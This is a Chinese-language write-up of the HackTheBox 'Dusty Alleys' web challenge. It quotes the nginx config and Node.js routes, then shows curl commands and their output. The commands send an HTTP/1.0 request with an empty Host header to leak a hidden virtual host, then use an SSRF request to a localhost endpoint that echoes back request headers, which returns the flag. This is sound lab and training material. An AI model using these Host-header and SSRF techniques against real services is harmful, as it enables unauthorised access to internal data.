文章

HTB-Dusty Alleys

题目描述

In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it.

分析

先看nginx

server {
        listen 80 default_server;
        server_name alley.$SECRET_ALLEY;
​
    location / {
        root /var/www/html/;  
        index index.html;              
    }
​
        location /alley {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }
​
        location /think  { 
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
​
                        }
}
​
server {
        listen 80;
                server_name guardian.$SECRET_ALLEY;
​
        location /guardian {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }
}

可以看到,正常我们应该是访问不到/guardian的,因为不知道$SECRET_ALLEY

看看这个路由是干什么的

router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;
​
  if (!quote) return res.render("guardian");
​
  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", {
        error: "You are forbidden from talking with me.",
      });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }
​
  try {
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());
​
    res.set("Content-Type", "text/plain");
​
    res.send(result);
  } catch (e) {
    console.error(e);
    return res.render("guardian", {
      error: "The words are lost in my circuits",
    });
  }
});
​

可以看到,这个路由检测quote参数并fetch,存在ssrf漏洞,而且headers包含flag

另外,/think路由很有意思

router.get("/think", async (req, res) => {
  return res.json(req.headers);
});

这个会返回所有的headers值

现在就很清晰了,我们需要想办法访问/guardian然后ssrf到think来获取flag

问题是,怎么访问到/guardian

host头也算头,只需要使用http1.0,即可不发送host头,但是nginx会帮忙路由到default_server,也就是alley.$SECRET_ALLEY

这时候便能泄露$SECRET_ALLEY

root@enoch:~# curl -H "Host:" --http1.0 http://94.237.56.64:33349/think
{"host":"alley.firstalleyontheleft.com","x-real-ip":"10.30.18.155","x-forwarded-for":"10.30.18.155","x-forwarded-proto":"http","connection":"close","user-agent":"curl/7.81.0","accept":"*/*"}

然后带上host访问/guardian进行ssrf即可

root@enoch:~# curcurl -H "Host: guardian.firstalleyontheleft.com" --http1.0 "http://94.237.56.64:33349/guardian?quote=http://localhost:1337/think"
{"key":"HTB{xxxx_xx_xx_xxxx_xxxx}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}

挺简单一道题,下次再这么简单还是不发出来了吧(

但是确实学到了http降级这一操作

许可协议:  CC BY 4.0